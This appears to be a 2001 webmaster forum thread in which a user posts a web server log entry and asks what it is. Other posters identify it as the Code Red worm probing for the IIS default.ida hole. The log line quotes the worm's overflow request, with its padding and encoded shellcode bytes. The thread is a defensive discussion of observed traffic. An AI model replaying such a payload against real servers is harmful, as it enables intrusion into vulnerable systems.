Strange Visitor

[jlara]

Please excuse my ignorance. But what is this that I found in my logs? This has come from many different addresses?

[20/Aug/2001:19:54:22 -0500] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%
u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090
%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003
%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0"
404 287 "-" "-"

Is it supposed to be some kind of hack?

(edited by: NFFC at 5:45 pm (gmt) on Aug. 21, 2001

[Mike_Mackin]

use the seach fuction at the top of this page to search for default.ida

[can we put a return or 2 in that string]

[jlara]

Well now I am glad I said please excuse my ignorance, because I should have know that was the code red virus trying to propagate.
:)